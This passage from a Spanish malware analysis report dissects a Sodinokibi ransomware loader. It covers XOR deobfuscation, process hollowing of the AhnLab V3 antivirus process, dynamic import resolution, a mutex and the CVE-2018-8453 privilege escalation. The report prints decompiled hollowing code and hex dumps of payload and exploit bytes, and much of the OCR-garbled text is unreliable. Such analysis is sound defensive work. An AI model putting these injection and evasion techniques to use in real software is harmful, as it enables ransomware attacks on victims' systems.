0045D8C8	7B	7B	7B	7B	7B	7B	7B	7B	7B	7B	7B	7B	7B	7A	7B	7B	{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{
0045D8D8	<u>C1</u>	6B	7B	75	64	CF	72	B6	5A	C3	7A	37	B6	5A	EB	EB	Ák{udïr¶ZĂz7¶Zëë
0045D8E8	2F	13	12	08	5 B	OB	09	14	1C	09	1A	16	5 B	16	0E	08	/[
0045D8F8	OF	5 B	19	1E	5 B	09	0E	15	5 B	0E	15	1F	1E	09	5 B	2C	.[[[[,
0045D908	12	15	48	49	76	71	5 F	4C	7B	7B	7B	7B	7B	7B	7B	7B	HIV9_L{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{
0045D918	7B	7B	7B	7B	7B	7B	7B	7B	7B	7B	7B	7B	7B	7B	7B	7B	{ { { { { { { { { { { { { { { { { { {
0045D928	7B	7B	7B	7B	7B	7B	7B	7B	7B	7B	7B	7B	7B	7B	7B	7B	{ { { { { { { { { { { { { { { { { { {
0045D938	7B	7B	7B	7B	7B	7B	7B	7B	7B	7B	7B	7B	7B	7B	7B	7B	{ { { { { { { { { { { { { { { { { { {
0045D948	7B	7B	7B	7B	7B	7B	7B	7B	7B	7B	7B	7B	7B	7B	7B	7B	{ { { { { { { { { { { { { { { { { { {
0045D958	7B	7B	7B	7B	7B	7B	7B	7B	7B	7B	7B	7B	7B	7B	7B	7B	
	Dump 1 Dump 2																
🚛 Dump :	1		Dun	np 2			Dum	р 3			Dump	94		D	ump	5	🛞 Watch 1 🛛 [x=] Lo
Address	1 Hex	u.	Dur	np 2		ι	Dum	р3	(Щ. С	Dump	94	ų	L, D	ump	5	Watch 1 [x=] Loo
Address	1 Hex 4D	K SA	Dun	np 2	02	00	Dum	p 3	04	00	Oump	00	FF	D FF	ump 00	5 7B	Watch 1 [x=] Lo ASCII MZP
Address 0045D898 0045D8A8	1 Hex 4D B8	¢ 5A 00	Dur	00 00	02	00	Dum 00	p 3	04 40	00 00	Oump OF 1A	00	FF 00	FF 00	00 7 B	5 7B 00	Watch 1 [x=] Lor ASCII
Address 0045D898 0045D8A8 0045D8A8	1 4D 88 00	¢ 5A 00 00	Dun 50 00	00 00 00	02 00 00	00 00 00	Dum 00 00	p 3	04 40 00	00 00	0F 1A 00	00 00 00	FF 00 7B	FF 00 7B	00 78 78	5 7B 00 7B	Watch 1 [x=]Lo ASCII
Dump 3 Addr ess 0045D898 0045D8A8 0045D8B8 0045D8B8 0045D8C8	1 4D 88 00 7B	5A 00 00 7B	Dun 50 00 78	00 00 00 7B	02 00 00 7B	00 00 00 7 B	00 00 00 7B	p 3 00 00 7B	04 40 00 7B	00 00 00 7 B	0F 1A 00 7B	00 00 00 7B	FF 00 7B 7B	FF 00 7B 7A	00 78 78 78	5 78 00 78 78	Watch 1 [x=] Log ASCII
Addr ess 0045D898 0045D888 0045D888 0045D888 0045D808 0045D808	1 4D 88 00 7B C1	5A 00 00 7B 6B	Dun 50 00 78 78	00 00 00 78 75	02 00 00 7B 64	00 00 00 7B CF	Dum 00 00 78 72	p 3 00 00 7B B6	04 40 00 7B 5A	00 00 7B C3	0F 1A 00 7B 7A	00 00 00 7B 37	FF 00 7B 7B B6	FF 00 7B 7A 5A	00 78 78 78 8	5 7B 00 7B 7B EB	Watch 1 [x=] Lo ASCII
Addr ess 0045D898 0045D848 0045D848 0045D808 0045D808 0045D808 0045D808	1 4D 88 00 7B <u>C1</u> 2F	5A 00 00 7B 6B 13	Dun 50 00 78 78 12	00 00 00 78 75 08	02 00 00 7B 64 5B	00 00 00 7B CF 0B	00 00 00 7B 72 09	p 3 00 00 7B B6 14	04 40 00 7B 5A 1C	00 00 7B C3 09	OF 1A 00 7B 7A 1A	00 00 00 7B 37 16	FF 00 7B 7B 86 5B	FF 00 7B 7A 5A 16	00 78 78 78 EB 0E	5 7B 00 7B 7B EB 08	Watch 1 [x=]Lo ASCII
Addr ess 0045D898 0045D898 0045D888 0045D888 0045D808 0045D808 0045D858 0045D858	1 4D 88 00 7B <u>C1</u> 2F 0F	5A 00 00 7B 6B 13 5B	50 00 78 78 12	00 00 78 75 08 1E	02 00 00 7B 64 5B 5B	00 00 00 7B CF 0B 09	00 00 00 78 72 09 0E	p 3 00 00 7B B6 14 15	04 40 00 7B 5A 1C 5B	00 00 00 7B C3 09 0E	OF 1A 00 7B 7A 1A 15	00 00 78 37 16 1F	FF 00 7B 7B 86 5B 1E	FF 00 7B 7A 5A 16 09	00 78 78 78 68 0E 58	5 7B 00 7B 7B EB 08 2C	Watch 1 [x=]Lo ASCII
Address 0045D898 0045D888 0045D888 0045D888 0045D808 0045D808 0045D858 0045D858 0045D908	1 4D 88 00 7B <u>C1</u> 2F 0F 12	5A 00 7B 6B 13 5B 15	Dun 50 00 78 78 12 19 48	00 00 78 75 08 1E 49	02 00 00 78 64 58 58 76	00 00 7B CF 0B 09 71	00 00 78 72 09 0E 5F	p 3 00 00 7B 86 14 15 4C	04 40 00 7B 5A 1C 5B 7B	00 00 7B C3 09 0E 7B	OF 1A 00 7B 7A 1A 15 7B	00 00 7B 37 16 1F 7B	FF 00 7B 7B 86 5B 1E 7B	FF 00 7B 7A 5A 16 09 7B	00 78 78 78 60 58 78 78	5 7B 00 7B 7B EB 08 2C 7B	Watch 1 [x=]Lo ASCII
Address 0045D898 0045D888 0045D868 0045D868 0045D808 0045D808 0045D858 0045D878 0045D908 0045D918	1 4D 88 00 7B C1 2F 0F 12 7B	5A 00 7B 6B 13 5B 15 7B	Dun 50 00 78 78 12 19 48 78	00 00 78 75 08 1E 49 78	02 00 78 64 58 58 76 78	00 00 7B CF 0B 09 71 7B	00 00 78 72 09 0E 5F 7B	p 3 00 00 7B B6 14 15 4C 7B	04 40 78 5A 1C 58 78 78	00 00 7B C3 09 0E 7B 7B	OF 1A 00 7B 7A 1A 15 7B 7B	00 00 78 37 16 1F 78 78	FF 00 7B 7B 86 5B 1E 7B 7B	FF 00 7B 7A 5A 16 09 7B 7B	00 78 78 78 68 05 78 78 78 78	5 7B 00 7B 7B EB 08 2C 7B 7B	Watch 1 [x=]Lo ASCII
Address 0045D898 0045D848 0045D848 0045D848 0045D828 0045D828 0045D828 0045D858 0045D918 0045D918	1 4D 88 00 7B C1 2F 0F 12 7B 7B 7B	5A 00 7B 6B 13 5B 15 7B 7B 7B	Dun 50 00 78 78 78 12 19 48 78 78	00 00 78 75 08 1E 49 78 78 78	02 00 78 64 58 58 76 78 78 78	00 00 78 CF 08 09 71 78 78 78	Dum 00 00 78 72 09 0E 5F 78 78	p 3 00 00 7B 86 14 15 4C 7B 7B	04 40 00 78 5A 1C 58 78 78 78 78	00 00 7B C3 09 0E 7B 7B 7B 7B	OF 1A 00 7B 7A 1A 15 7B 7B 7B	00 00 78 37 16 78 78 78 78 78	FF 00 7B 7B 5B 1E 7B 7B 7B 7B	FF 00 7B 7A 5A 16 09 7B 7B 7B 7B	00 78 78 78 6 8 78 78 78 78 78 78	5 78 00 78 78 8 8 8 20 78 78 78 78	Watch 1 [x=]Lo ASCII
Address 0045D898 0045D898 0045D888 0045D808 0045D808 0045D808 0045D808 0045D918 0045D918 0045D918 0045D928 0045D928	1 4D 88 00 7B C1 2F 0F 12 7B 7B 7B 7B	5A 00 7B 6B 13 5B 15 7B 7B 7B 7B 7B	Dun 50 00 78 78 78 12 19 48 78 78 78 78	00 00 78 75 08 1E 78 78 78 78 78	02 00 00 78 64 58 58 76 78 78 78 78	00 00 7B CF 0B 09 71 7B 7B 7B 7B	00 00 78 72 09 0E 5F 78 78 78	p 3 00 00 7B 86 14 15 4C 7B 7B 7B 7B	04 40 00 7B 5A 1C 5B 7B 7B 7B 7B 7B	00 00 7B 7B 7B 7B 7B 7B 7B 7B	OF 1A 00 7B 7A 1S 7B 7B 7B 7B 7B	00 00 78 37 16 1F 78 78 78 78 78	FF 00 7B 7B 5B 1E 7B 7B 7B 7B 7B	FF 00 7B 7A 5A 16 09 7B 7B 7B 7B 7B	00 78 78 78 78 58 78 78 78 78 78 78	5 78 00 78 78 8 8 20 78 78 78 78 78	Watch 1 [x=]Lo ASCII
Address 0045D898 0045D898 0045D808 0045D808 0045D808 0045D808 0045D808 0045D908 0045D908 0045D918 0045D918 0045D938 0045D938	1 4D 88 00 7B C1 2F 0F 12 7B 7B 7B 7B 7B 7B	5A 00 00 7B 6B 13 5B 15 7B 7B 7B 7B 7B 7B	Dur 50 00 78 78 78 78 78 78 78 78 78 78	00 00 78 75 08 1E 49 78 78 78 78 78 78	02 00 78 64 58 78 78 78 78 78 78	00 00 7B CF 0B 09 71 7B 7B 7B 7B 7B	00 00 78 72 09 0E 5F 78 78 78 78 78	p 3 00 00 7B B6 14 15 4C 7B 7B 7B 7B 7B	04 40 00 78 5A 1C 58 78 78 78 78 78 78 78	00 00 7B C3 09 0E 7B 7B 7B 7B 7B 7B	OF 1A 00 7B 7A 1A 15 7B 7B 7B 7B 7B 7B 7B	00 00 78 37 16 78 78 78 78 78 78 78	FF 00 7B 7B 5B 1E 7B 7B 7B 7B 7B 7B 7B	FF 00 7B 7A 5A 16 09 7B 7B 7B 7B 7B 7B 7B	00 78 78 78 78 58 78 78 78 78 78 78 78	5 78 00 78 78 20 78 78 78 78 78 78 78	Watch 1 [x=] Lo ASCII

Figura 4.1.12: Descifrado de la función Help.

Una vez se haya desofuscado en memoria, obtendremos la siguiente dll y podremos proseguir con la fase 2.

4.2. Fase 2: Process Hollowing

El segundo loader es usado para cargar el payload final intentando hacer process hollowing sobre el antivirus Ahnlab. Si el equipo no contiene este proceso, el ejecutable crea otra instancia de powershell en la que intentará realizar process hollowing sobre otro proceso.

Dentro del cuadro rojo podemos ver la funcionalidad principal de la DLL. Primero realiza una llamada a **_ServerStatusCheck**con los parámetros **"V3 Service**" y **0**.

```
*off_413518 = 1;
sub_405758();
v11 = &save
v10 = &loc_412EB8;
v9 = NtCurrentTeb()->NtTib.ExceptionList;
  writefsdword(0, (unsigned int)&v9);
LOBYTE(v3) = 1;
sub_402F84(v4, v3, v9, &loc_412EB8, &savedregs);
Sleep(200);
v6 = sub_412BFC(v5, "HELP");
 sub 4028DC(v7, &dword 414884)
if ( ServerStatusCheck(v8, (int)"V3 Service")
    && CheckAutorutRoute((int)"C:\\Program Files\\AhnLab\\V3Lite30\\MUpdate2\\Update\\autoup.exe") )
{
  Sleep(1200000);
  StartProcessHollowing(
    &dword 414884,
     (signed __int32)"C:\\Program Files\\AhnLab\\V3Lite30\\MUpdate2\\Update\\autoup.exe");
EDRCheck(dword 414884, 0, *( DWORD *)(v6 + 4));
sub_402FB4();
Sleep(899800000);
_writefsdword(0, (unsigned int)v9);
v11 = (int *)&loc_412EBF;
sub_403A00();
```





Encontramos que esta subrutina efectivamente devuelve un booleano al comparar con el resultado de **GetServerStatus** con 4. Procedemos a ver de qué trata **GetServerStatus**, el cual obtiene como parámetros **"V3 Service**" y **0**.

```
bool __usercall ServerStatusCheck@<al>(int a1@<ecx>, int a2@<edx>, int a3@<eax>)
{
    return GetServerStatus(a3, a2) == 4;
}
```

Figura 4.2.2: Función ServerStatusCheck.

Esta subrutina realiza una llamada a la función **OpenSCManagerA**, la cual se encarga de realizar una conexión con el gestor de servicios e intenta acceder al servicio **"V3 Service**".

Si consigue acceder, con la función **OpenServiceA** accede nuevamente al servicio, y con **QueryServiceStatus** obtiene el estado del servicio el cual devolverá como resultado de la subrutina. El estado del servicio corresponde a un código numérico el cual se comprueba que corresponda con 4, es decir, comprueba que esté en funcionamiento el servicio. Una vez comprueba que efectivamente está en funcionamiento y que el ejecutable "**autoup**" se encuentra en la ruta indicada, realiza un sleep y finalmente un process hollowing al servicio en la llamada a **StartProcessHollowing**.

```
v3 = 0;
v4 = OpenSCManagerA(V3_Service, 0, 1u);
v5 = v4;
if ( v4 )
{
    v6 = OpenServiceA(v4, a2, 4u);
    v7 = v6;
    if ( v6 )
    {
        if ( QueryServiceStatus(v6, &v9) )
            v3 = v9.dwCurrentState;
        CloseServiceHandle(v7);
    }
    CloseServiceHandle(v5);
}
return v3;
```



Si no está el AV instalado la llamada a **EDRCheck** lanza una instancia de powershell e intenta realizar process hollowing con otro proceso.

```
v8 = (CHAR *)sub_403F8C();
v5 = (const CHAR *)sub_403F8C();
if ( CreateProcessA(v5, v8, 0, 0, 0, 4u, 0, 0, &StartupInfo, &ProcessInformation) )
{
  lpContext = (LPCONTEXT)sub_4128A4();
 if ( lpContext )
 ł
    lpContext->ContextFlags = 65543;
    if ( GetThreadContext(ProcessInformation.hThread, lpContext) )
 ReadProcessMemory(
       ProcessInformation.hProcess,
        (LPCVOID)(lpContext->Ebx + 8),
        &Buffer,
       4u,
       &NumberOfBytesRead);
     if ( *(_DWORD *)(v4 + 52) == Buffer
       && NtUnmapViewOfSection(ProcessInformation.hProcess, *(PVOID *)(v4 + 52)) )
     {
       lpBaseAddress = VirtualAllocEx(ProcessInformation.hProcess, 0, *(_DWORD *)(v4 + 80), 0x3000u, 0x40u);
     3
     else
      {
```

}





Una vez se ha realizado el Process Hollowing, veremos, como de nuevo, vuelve a desofuscar mediante una XOR, usando la misma técnica que hemos visto en la Fase 1, con el objetivo de extraer el payload del Sodinokibi

00412C70 00412C72 00412C72 00412C75 00412C76 00412C76 00412C78	•	7E 0 301E 46 48 75 F 33C0	06 E A				j1 x0 in de jn x0	e i br b ic e ic e ic e ic e ic e ic e	nsta yte si ax nsta ax,0	all1 ptr all1 eax	_pa ds _pa	yloa :[es yloa	ad_d si], ad_d	eso b1 eso	fuscado_00780000.412C78 fuscado_00780000.412C72
004DC658 4 004DC668 C 004DC678 0 004DC688 0 004DC698 0 004DC698 0 004DC688 7	5A 3 00 0 00 0 00 E 1F 9 73 4 20 Figure 6	90 00 00 BA 20 62	00 03 00 00 00 00 7B 00 0E 7B 70 72 1E 20 5	00 00 00 84 14 72	00 00 7B 00 09 67 75	00 00 00 CD 72 6E	04 40 00 21 61 20	00 00 7B 00 B8 6D 69	00 00 00 01 20 6E	00 00 00 4C 63 20	FF 00 00 D0 CD 61 44	FF 00 00 21 6E 4F	00 00 00 54 6E 53	00 00 00 68 14 20	MZ

5. Sodinokibi

Una vez tenemos el payload, nos queda la última parte del Ransomware. El esquema principal de sus fases y que seguiremos en este apartado, y un breve resumen de sus partes, es el siguiente:



Figura 5.1: Esquema general Sodinokibi



- **GetLibraries**: Esta función se encarga de cargar librerías dinámicamente que luego utilizará.
- · CreateMutex: Crea un Mutex.
- CheckExp: Comprobará si debe realizar Escalado de privilegios, Exp es el valor que comprobará, que estará True o False en el Json, dependiendo de si ya tiene privilegios suficientes o no.
- **Exploit:** Realiza el Exploit CVE 2018-8453.
- GetProcessRun: Obtiene y lanza un Explorer.exe.
- **PrepareCipher:** Realiza todas las tareas del Sodinokibi, obtiene Json, ejecuta listas de idiomas, listas de procesos a finalizar, borrado de ShadowCopies, etc.

5.1. Obtención Import Adress Table (IAT)

Tras las dos fases del loader obtenemos el payload MD5: B488BDEEAEDA94A273E4746DB0082841 que es el Ramsomware Sodinokibi el cual está ofuscado y no tiene ningún import. Por lo que los imports los tendrá que obtener de forma dinámica.



Figura 5.1.1: Imports de la muestra.

En la función principal vemos que realiza una llamada a dos funciones, una primera que tiene más código y una segunda que realiza una llamada dinámica, está llamada corresponde a un ExitProcess por lo que lo importante se realiza en la primera llamada.

public start start proc ne push 0 call sub_4 push 0 call exit pop ecx retn start endp	ar 02FB3 rocess ; Attributes:	bp-based frame	
	exitProcess	proc near	; CODE XREF: sub_4 ; sub_402FB3+10↑p
	arg_0	= dword ptr 8	
) (Sunchronized	exitProcess	push ebp mov ebp, esp push [ebp+arg_0] call dword_418690 pop ebp retn endp	; ExitProcess

Figura 5.1.2: Función en el entrypoint.

En la primera función, lo primero que realiza es la importación dinámica de las funciones del sistema que va a utilizar. Para obtenerlas, llama mediante un bucle a una función cambiando los parámetros de entrada.

🗾 🚄 (
loc_40 push	52B4: dword_41B628[esi]
call mov	_BuildIAT dword 41B628[esil. eax
add	esi, 4
pop	ecx esi, 210h
jb	short loc_4052B4

Figura 5.1.3: Bucle para obtención de funciones del sistema.



Esta función es la encargada de traducir el número que tiene como parámetro de entrada en la función de la librería correspondiente.

Esta función se divide en dos partes, una primera encargada de obtener la librería y una segunda encargada de obtener la función específica.



Figura 5.1.4: Estructura de "_BuildIAT"

Para la parte de obtención de librería, empieza realizando unas operaciones al parámetro de entrada. Ese número lo utiliza para ir por los distintos if anidados y terminar en la función que le dará la librería que se ha solicitado.



Figura 5.1.5: Funciones para la obtención de librerías.



Entremos en el funcionamiento de una de estas funciones, por ejemplo, la función "_advapi32dll".

_advap1	2_dii proc near
var_10= var_4= b	byte ptr -10h byte ptr -4
push	ebp
mov	ebp, esp
sub	esp, 10h
lea	eax, [ebp+var_10]
push	eax
push	0Ch
push	ØEh
push	0DCh
push	offset unk 41B838
call	<pre>sodin_decript_string</pre>
add	esp, 14h
mov	[ebp+var_4], 0
lea	eax, [ebp+var_10]
push	eax
push	57820074h
call	BuildIAT
рор	ecx
call	eax

Figura 5.1.6: Función "_advapi32Dll".

Esta función llama a "sodin_decrypt_string", para que le devuelva el nombre de la librería que quiere obtener, en este caso "advapi32.dll". Una vez tienen el nombre de la librería, tienen que cargarla en memoria y para eso necesitan la función "kernel32.LoadLibrary" que la obtienen llamando a "_______BuildIAT" pasándole el valor "57820074h".

*	Hide	FPU	
	EAX	0018FF24	"advapi32.dll"
	EBX	7EFDE000	
	ECX	0000006C	·'''
	FDX	00000078	'v'
		Figura 5.1.7: str	ing desofuscado.

Una vez que tiene la dirección de la función "kernel32.LoadLibrary" localizada y colocado en eax, solo tiene que llamarla pasando en la parte más alta de la pila el nombre de la librería. Esto cargará la librería en memoria (si no está ya cargada) y le devolverá la posición.

00405333	call sodinokibi.4054AD	FAX	76484907	<pre><kernel32.loadlibrarya></kernel32.loadlibrarya></pre>
00405338	pop ecx	EPV	75505000	ster ner ser eo ader or ar yro
00405339	call eax	E CON	20000545	. 101
0040533B	mov esp,ebp	ECA	0000054F	
0040533D	pop ebp	EDX	7683708D	Kernel32.7683708D
0040533E	ret	EBP	0018FF34	
0040533F	push ebp	ESP	0018FF20	&"advapi32.dll"
		E CT	672,000,000	

Figura 5.1.8: Llamada a LoadLibraryA.



En la segunda parte de "_BuildIAT", se obtiene la función deseada de la librería obtenida anteriormente. Para ello realiza operaciones utilizando como datos de entrada una lista de funciones y obtiene un número que lo suma a la dirección base de la librería y obtiene la dirección de la función.

Address	Hep	c i															ASCII
76B32FBB	41	64	64	49	6E	74	65	67	72	69	74	79	4C	61	62	65	AddIntegrityLabe
76B32FCB	6C	54	6F	42	6F	75	6E	64	61	72	79	44	65	73	63	72	TToBoundaryDescr
76B32FDB	69	70	74	6F	72	00	41	64	64	4C	6F	63	61	6C	41	6C	iptor.AddLocalAl
76B32FEB	74	65	72	6E	61	74	65	43	6F	6D	70	75	74	65	72	4E	ternateComputerN
76B32FFB	61	6D	65	41	00	41	64	64	4C	6F	63	61	6C	41	6C	74	ameA.AddLocalAlt
76B3300B	65	72	6E	61	74	65	43	6F	6D	70	75	74	65	72	4E	61	ernateComputerNa
76B3301B	6D	65	57	00	41	64	64	52	65	66	41	63	74	43	74	78	meW.AddRefActCtx
76B3302B	00	41	64	64	53	49	44	54	6F	42	6F	75	6E	64	61	72	.AddSIDToBoundar
76B3303B	79	44	65	73	63	72	69	70	74	6F	72	00	41	64	64	53	yDescriptor.AddS
76B3304B	65	63	75	72	65	4D	65	6D	6F	72	79	43	61	63	68	65	ecureMemoryCache
76B3305B	43	61	6C	6C	62	61	63	6B	00	41	64	64	56	65	63	74	Callback.AddVect
76B3306B	6F	72	65	64	43	6F	6E	74	69	6E	75	65	48	61	6E	64	oredContinueHand
76B3307B	6C	65	72	00	41	64	64	56	65	63	74	6F	72	65	64	45	ler.AddVectoredE
76B3308B	78	63	65	70	74	69	6F	6E	48	61	6E	64	6C	65	72	00	xceptionHandler.
76B3309B	41	64	6A	75	73	74	43	61	6C	65	6E	64	61	72	44	61	AdjustCalendarDa
76B330AB	74	65	00	41	6C	6C	6F	63	43	6F	6E	73	6F	6C	65	00	te.AllocConsole.
76B330BB	41	6C	6C	6F	63	61	74	65	55	73	65	72	50	68	79	73	AllocateUserPhys

Figura 5.1.9: Datos de entrada para obtener la dirección de la función.

THOY CAX, anota per 33. Cop of				
mov ecx, dword ptr ss:[ebp-C]		EAX	00014304	
move any dword ptr ds: [eax+eb)		EBX	000001F7	L'p'
add eav edi	· +] [ECX	76D34A64	advapi32.76D34A64
aud cax, cui		EDX	76D394CB	advapi32.76D394CB
nush ehn	6	EBP	0018FF54	
mov ebp.esp	6	ESP	0018FF3C	
sub esp.C		EST	0004DD6E	
lea eax, dword ptr ss: [ebp-C]		EDI	76D20000	advapi32.76D20000
nuch eav				

Figura 5.1.10: Obtención de la dirección.

Una vez que ya sabemos cómo se obtiene una función de una librería podemos volver a la figura 5.1.3 donde vemos que hace el bucle para obtener todas las funciones del sistema que necesita y las guarda creando una IAT (Import Address Table).

	0040 0040 0040	52BF 52C5 52C8	add pop	dword esi,4 ecx	ptr	ds:	esi+	<mark><&</mark> Op	enPro	oces	sToken>]	,eax	C
esi=14													
.text:004	05 2C 5	sodin	okibi.	fil:\$5	2C5	#46C	5						
💷 Dump 1		Dump 2		Dump 3	Ļ	🛄 Du	mp 4	Q	Dump	5	💮 Wato	h 1	[
Address	Hex										ASCII		
00418628	04 43	D3 76	EE 54	A8 76	6E	19 A	8 76	F8 1	1 A8	76	.CÓvîT	vn. Ö	vø
0041B638	C3 D3	A9 76	B6 0E	38 75	9A	72 8	0 OB	08 E	ED AE	40	ĂÓ©v¶ 8	u.r.	• • *
00418648	F2 57	02 07	74 C2	96 95	106	F8 F	0 B8	IF7 2	24 AD	DA	ò₩±Ά.	ea	÷
			Figur	a 5.1.11	.: Cre	ación	de la	IAT					



5.2. Preparación y Mutex

Siguiendo por el mismo camino, vemos que, donde teníamos un dword, ahora es un OpenProcessToken, que como podemos ver, nos lleva a todos y cada uno de los imports que irá recorriendo

```
Antes:
```





Tras la creación de la IAT, pasa a comprobar si ya está ejecutándose una instancia de sí mismo en el sistema. Para ello utiliza la función Mutex, pasándole como identificador una string que desofusca. En esta muestra el identificador es:

"Global\\3555A3D6-37B3-0919-F7BE-F3AAB5B6644A".

```
call
       sodin_decrypt_string ; L"Global\\3555A3D6-37B3-0919-F7BE-F3AAB5B6644A"
add
       esp, 14h
xor
        eax, eax
       [ebp+var_2], ax
mov
       esi, esi
xor
lea
       eax, [ebp+var_58]
             ; nombre del mutex->L"Global\\3555A3D6-37B3-0919-F7BE-F3AAB5B6644A"
push
       eax
       esi
push
                       ; 0
       esi ;0
CreateMutexW ;CreateMutex
push
call
       dword_41C03C, eax ; mutexhandler
mov
```

Figura 5.2.2: función Mutex.

5.3. Escalado de Privilegios y Exploit CVE 2018-8453

5.3.1 Comprueba si tiene que hacer escalada de privilegios

Una vez que ha comprobado el mutex, pasa a mirar su fichero de configuración para saber si tiene que realizar escalado de privilegios o no. Este fichero es un Json que extrae de una de sus secciones y que se explica más adelante en este informe.

El parámetro que indica si hay que realizar escalado de privilegios o no es exp que si está a true realiza escalado de privilegios y si está en false no los realiza. Para saber cuál es el valor de exp procesa los datos del Json convirtiendo el false y true en cero o uno.

 O1F5FA18
 O0
 O0
 O0
 O0
 O059FA18
 O1
 O0
 O0

Esta muestra no necesita escalar privilegios porque ya los ha escalado previamente por lo que exp:false. Suele ser común que este tipo de malwares tengan varias comprobaciones y escaladas de privilegios en distintas fases para conseguir su objetivo aún sin tener su parte inicial, la del Loader, anteriormente explicada en el punto cuatro. En este caso, esta función de exploit, fue completamente saltada en ejecución, ya que, como hemos comentado exp=False.

5.3.2 Explotación

Para esta escalada de privilegios, utilizará la vulnerabilidad del CVE-2018-8453, el cual aprovecha una vulnerabilidad de win32k.

Vulnerabilidad en productos Microsoft (CVE-2018-8453)

Tipo: Apagado o liberación incorrecto de recursos Gravedad: Alta IIII Fecha publicación : 10/10/2018 Última modificación: 02/10/2019

Descripción

Existe una vulnerabilidad de elevación de privilegios en Windows cuando el componente Win32k no gestiona adecuadamente los objetos en la memoria. Esto también se conoce como "Win32k Elevation of Privilege Vulnerability". Esto afecta a Windows 7, Windows Server 2012 R2, Windows RT 8.1, Windows Server 2008, Windows Server 2019, Windows Server 2012, Windows 8.1, Windows Server 2016, Windows Server 2008 R2, Windows 10 y Windows 10 Servers.

Figura 5.3.2.1: Explicación CVE-2018-8453



Empieza obteniendo la carpeta donde está el fichero necesario para la explotación, Win32k.Por lo que necesita localizar el archivo para poder explotarlo.

Empieza obteniendo la carpeta donde está el fichero mediante las funciones Wow64DisableWow64Redirection y GetSystemDirectoryw.

Wow64DisableWow64Redirection, hace que, cuando se pide la carpeta del sistema con un programa de 32bits las llamadas no se redirigen a la carpeta de 64bits y GetSystemDirectoryw da la carpeta del sistema.

🛄 🛃 🖼					
<pre>lea eax, [ebp+var_14] push eax call Wow64DisableWow64FsRedirection text</pre>					
jz loc_4062A4					
loc_4061C0: push 104h lea eax, [ebp+var_288]					
call GetSystemDirectoryW test eax, eax					
jz short loc_406198					
Disables file system redirection for the calling thread. File system redirection is enabled by default.					

Figura 5.3.2.2: Deshabilitado de Wow64FsRedirection.

Esto da como resultado la dirección "c:\\windows\\system32". Esto se une con las strings que desofusca win32kfull.sys y win32k.sys y así obtiene el nombre completo del archivo que necesita para realizar la explotación.

		call xor mov lea push push push push call	<pre>sodin_decrypt_string eax, eax [ebp+var_40], ax eax, [ebp+var_3C] eax 14h 4 0BFh; '¿' esi sodin_decrypt_string</pre>	; win3 ; win3	32kfull.sys 32k.sys		
00406250 00406256 00406257	8D85 78FDFFFF 50 E8 1AE5FFFF	lea eax push ea call pa	(,dword ptr ss:[ebp-288] 1x avload dll2 xor pe,404776		eax:L"C:\\Wind	ows\\system32\\win32	kfull.sys"
0040625C	59	pop eco	ć – – –		ecx:L"win32kfu	ll.sys"	
0040625D	59	pop ec>			ecx:L"win32kfu	11.sys"	defuil ave"
0040625E 0040625F	FF15 <u>08B74100</u>	call dv	word ptr ds:[<mark><&GetFileAttribut</mark>	tesExW>]	eax:L C:\\Wind		kruff.sys

Figura 5.3.2.3: Obtención del nombre mediante win32kfull.sys.



Por último, comprueba cuál de los dos archivos existe en el sistema mediante GetFileAttributesEXw. Si no existe hay un error y devuelve 0. En nuestro caso, el archivo existente es win32k.sys. Además, comprueba que el archivo sea suficientemente antiguo para ser explotado mediante CompareFileTime.

	lea eax	, [ebp+var_24]			
	lea eax	, [ebp+var_6C]			
	call Com	pareFileTime			
	xor ecx test eax	, ecx , eax			
	cmovns edi	, ecx			
<pre>push eax call dword ptr ds:[<&GetFileAttr </pre>	ibutesExW>	eax:L"C:\\Windo	ws\\syst	em32\\win32kfull	.sys"
push eax call dword ptr ds:[<	GetFileAtt	ributesExW>]	Hide	FPU	
test eax,eax √ <mark>ie pavload dll2 xor g</mark>	e. 40627E		EAX	0000000	

Figura 5.3.2.4: Comprobación de ficheros en el sistema.

En la siguiente función, en primer lugar, comprobará la arquitectura del procesador, el objetivo principal, es saber cuánta memoria ha de reservar para realizar el exploit, en el caso de que necesite hacerlo. Reserva 38400 (0x9600) espacio en memoria, en caso contrario 13824 (0x3600).



The processor architecture of the installed operating system. Thi

Value	Meaning
PROCESSOR_ARCHITECTURE_AMD64	x64 (AMD or Intel)

Figura 5.3.2.5: Comprobación de arquitectura.



Posteriormente, sabrá el espacio que necesita y realizará un VirtualAlloc para reservar memoria y copiar dicho exploit en el espacio asignado

		00400TTC	Juh hay toau_uttz_xot_he. 400120
		0040611E	<pre>mov ebx,payload_dll2_xor_pe.414850</pre>
		00406123	mov esi,3600
loc 40	6128:	00406128	push edi
nush	edi	00406129	push 40
pusii	Cui	0040612B	push 3000
push	40h	00406130	push esi
nuch	3000h	00406131	push 0
pusii	500011	00406133	<pre>call dword ptr ds:[<&VirtualAlloc>]</pre>
push	esi	00406139	mov edi,eax
nuch	0	0040613B	test edi,edi
pusii	0	0040613D	<pre>vje payload_dll2_xor_pe.40614F</pre>
call	InternetConfirmZoneCrossingW	0040613F	push esi
mov	vea the	00406140	push ebx
lilov	cui, cux	00406141	push edi
test	edi, edi	00406142	call payload_dll2_xor_pe.40358E
17	short loc 40614E	00406147	add esp,C
J4	5101 C 10C_400141	0040614A	push dword ptr ss:[ebp+8]

Figura 5.3.2.6: Reserva de memoria

El exploit, esta almacenado en la sección .rdata y será copiado desde dicha sección

test edi,edi		
je payload_dll2_xor_pe.40614F	EAX	00220000
push esi Tamaño	EBX	0040B250
push edi Dostino	ECX	0E1B0000
call payload dll2 yor ne 403585 Copia	EDX	0008E3C8
add esp.C	EBP	0018FF78
push dword ptr ss:[ebp+8]	ESP	0018FF6C
call edi	ESI	00009600
pop edi	EDI	00220000

Address	Hex																ASC1	Ι					
0040B250	E8	00	00	00	00	59	83	E9	05	83	EC	4C	55	53	56	57	è	•Y	.é.	.ìι	USV	W	
0040B260	8B	E9	33	C9	64	8B	35	30	00	00	00	8B	76	0C	8B	76	.é3É	d. !	50.		v	v	
0040B270	1C	8B	46	08	8B	7E	20	8B	36	66	39	4F	18	75	F2	80	F.	\cdot	.6	f90), uò).	
0040B280	ZE	0C	33	75	EC	8D	B5	FO	01	00	00	8D	BD	E8	01	00	., 3L	n.,	μð.		%è.	•	
00408290	00	E8	8F	01	00	00	8D	85	00	02	00	00	50	50	50	59	.e	-2	•••	• • •	PPF	Υ	
0040B2A0	8D	71	3C	AD	8D	5C	08	18	E8	15	00	00	00	59	E8	77	•q<•	• \	e	• • •	Υ¢	W	
